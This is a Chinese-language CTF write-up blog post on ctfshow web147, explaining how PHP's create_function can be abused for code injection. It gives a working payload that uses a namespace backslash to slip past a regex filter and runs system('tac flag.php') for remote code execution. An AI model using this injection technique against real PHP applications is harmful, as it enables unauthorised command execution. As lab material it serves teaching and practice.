【ctfshow】php特性create_function的妙用

前言

记录web的题目wp,慢慢变强,铸剑。

create_function的利用姿势web147

1
2
3
4
5
6
7
8
9
highlight_file(__FILE__);

if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}

}

这里正则简单的就和\W一样的意思大小写字母数字还有下划线不能使用,我们能随意控制show的内容,这里可以使用create_function()

string create_function ( string args , string args , string code )

string $args 变量部分
string $code 方法代码部分

也可以使用导航中regex101进行正则自动判断分析

image-20211010105049748

例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$gylq = create_function('$gylq','echo $gylq;');

$gylq("test1"."\n");

//相当于

function gylq($gylq){
echo $gylq;
}

gylq("test2");

//输出
test1
test2

利用方法也就是我们可以控制show的第二个参数即如下:

1
2
3
4
5
6
7
8
9
10
11
$gylq = create_function('$gylq','echo $gylq;}phpinfo();//');
$gylq('test1');
/*利用介绍如下
如果我们把第二个参数输入的是'echo 123;}phpinfo();//'
用方括号闭合方法,并成功执行phpinfo
也就是如下的形式,成功绕过得到phpinfo函数
*/
function gylq($gylq){
echo $gylq;
}
phpinfo();//}

image-20211010161323480

正则,我们可以用\进行绕过,正好\在php里代表默认命名空间

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径; 而如果是\function_name()这样的形式去调用函数,则是表示写了一个绝对路径。 如果你在其他namespace里调用系统类,必须使用绝对路径的写法

所以这里可以直接用\绕过,构造payload来RCE

1
2
3
4
5
POST传入
ctf=\create_function

GET传入
?show=echo 1;}system('tac flag.php');//

image-20211010162616149

我的个人博客

孤桜懶契:http://gylq.gitee.io

本文标题:【ctfshow】php特性create_function的妙用

文章作者:孤桜懶契

发布时间:2021年10月10日 - 15:57:58

最后更新:2022年05月20日 - 11:47:45

原始链接:https://gylq.gitee.io/posts/168.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------------本文结束 感谢您的阅读-------------------